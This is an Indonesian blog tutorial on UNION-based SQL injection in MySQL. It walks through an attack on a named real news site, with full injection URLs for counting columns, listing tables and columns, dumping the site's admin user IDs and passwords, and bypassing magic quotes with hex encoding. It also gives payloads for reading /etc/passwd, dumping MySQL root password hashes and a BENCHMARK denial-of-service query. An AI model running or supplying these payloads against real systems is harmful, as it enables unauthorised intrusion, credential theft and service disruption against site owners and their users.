Social Icons

twitterfacebookgoogle pluslinkedinrss feedemail

Pages

Monday 12 October 2009

Tutorial SQL Injection Pada MYSQL

Yang perlu di ketahui sebelum sql injection pada mysql:

comments: /*,--
sering ditemui pada web application: php,dll..
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

langsung saja...

contoh target kita adalah http://www.lampungpost.com...


step 1. mengetahui situs itu vulnerable sql injection atau tidak

*menggunakan tanda petik,or 1=1,etc

bila mengunakan cara diatas tanda petik,or 1=1,dll maka umumnya kita akan mendapatkan pesan error.

http://www.target.com/blabla.php?id=123'
http://www.target.com/blabla.php?id=123 or 1=1

Error Type:
pada php.

Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in blah/blah/blah.php on line x


pada asp.

Code:
[MySQL][ODBC x.xx Driver][mysqld-x.x.xxx-xxx]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x' at line x


cara ini tidak efektif untuk php. karna php mempunyai sesuatu yang disebut "sql error handling" yang membuat pesan error tidak akan dimuncul diweb tetapi disimpan didalam logs.

*menggunakan tanda minus,and 1=1,and 1=2,etc

bila menggunakan cara ini umumnya kita akan mendapat teks yang menghilang,blank,picture yang tidak bisa terlihat,error (jarang terjadi),etc.

kita ambil url http://www.lampungpost.com/aktual/berita.php?id=2254




sekarang berikan tanda minus setelah = atau bisa juga -1 biar lebih gampang, bila teks hilang maka vulnerable..

menjadi, http://www.lampungpost.com/aktual/berita.php?id=-2254




step 2. Blind SQL Injection

Blind SQL Injection adalah dimana kita mendapatkan data tidak melalui pesan error. untuk memahami blind sql injection lebih jauh bisa dilihat di:
http://echo.or.id/forum/viewtopic.php?t=7862

bila kamu mengetahui situs tersebut vulnerable melalui tanda petik,or 1=1,etc . maka kamu harus menggunakan tanda minus,and 1=2,etc baru kemudian mengunakan union select dan add number (biasa disebut "column count ") sampai muncul angka pada web tersebut.

contoh melakuan column count :

union select diikuti dengan angka.

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201/*

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2/*

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,/*

ternyata yang keluar sampai angka 9

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9/*

disitu kamu bisa melihat dua angka 9 dan 2



step 3. mengeluarkan table_name

query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1

masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"

menjadi,
Code:
hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

kamu juga bisa memasukan table_name ke angka 9 (karna angka yang keluar 9 dan 2)

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,table_name20%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*

tapi disini del_caeser menggunakan 2.




untuk mengeluarkan table_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi table_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit

table_name kedua

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%201,1/*



table_name ketiga

Code:
hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%202,1/*



disini target kita mencari admin id dan pass.., dan itu ada di limit 10,1 table_name "user"

Code:
http://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%2010,1/*



step 4. mengeluarkan column_name

query yang kita gunakan adalah : union select column_name from information_schema.columns where table_name='table_name target' limit 0,1

masukan "column_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.columns where table_name='table_name target' limit 0,1"

dalam hal ini table_name target adalah "user"

menjadi,
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name='user'%20limit%200,1/*


untuk mengeluarkan column_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi column_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit

( tidak ada screenshot maqic quote off karna lampungpost.com maqic quote on)

* Filter Input
filter input adalah untuk mencegah sql injection, salah satunya adalah magic quote gpc (php), magic quote sendiri adalah filter input terhadap tanda kutip dengan menambahkan backslash pada tanda kutip yang diinputkan.

contoh:

Quote:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name='user' limit 0,1/*


perhatikan 'user' kalau maqic quote gpc on:

Quote:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=/'user/' limit 0,1/*


itu merusak query yang kita gunakan, tapi kita bisa bypass dengan ascii mengunakan hexa Decimal atau char.
kamu bisa coba disini http://www.piclist.com/techref/ascii.htm . untuk hexa desimal, setiap hexa desimal yang dihasilkan didepannya ditambahkan 0x.





column_namenya adalah "userid" dan "password"

step 5. mengeluarkan field

query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

colomn_name :userid, password
table_name :user

masukan column_name pada angka yang keluar (9 dan 2) kemudian FROM table_name

menjadi,

Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,password,3,4,5,6,7,8,userid%20from%20user/*



dan kita mendapatkan filednya "berita" unutk "userid" dan "nokia" unutk "password".

* Mengunakan Concatenation

Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.


Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password,0x3a,description ),3,4,5,6,7,8,9%20from%20user/*


kamu juga bisa seperti ini,
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password),3,4,5,6,7,8,description%20from%20user/*


syntax-nya seperti ini concat(column_name,0x3a,column_name,0x3a,column_name,0x3a,..... ) 0x3a artinya :



Beberapa query mysql


melihat database name :

database()

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,database(),3,5,6/

melihat database version :

version()

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,version() ,3,5,6/


melihat waktu pada database :

now()

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,now(),3,5,6/


melihat MySQL and Apache location

@@basedir

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,@@basedir,3,5,6/*

@@datadir

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,@@datadir,3,5,6/*

@@tmpdir

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,@@tmpdir,3,5,6/*

@@version_compile_os

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,@@version_compile_os,3,5,6/*

membaca file :

load_file('/etc/passwd')

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,load_file('/etc/passwd'),3,5,6/*

password root :

select user,password from mysql.user

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,user,password,5,6+from+mysql.user/*

DOS :

BENCHMARK(100000000000000000000000000000000000000000000000000000000,md5(now( )))

Code:
http://www.site.com/index.php?page=-1+union+select+1,2,BENCHMARK(100000000000000000000000000000000000000000000000000000000,md5(now( ))),3,5,6/*

credit from : CRUZ3N
 

Tukar Link

Mau Tukar Link? Copy/paste code HTML berikut ke blog anda.

No_Drugs_Inside

Followers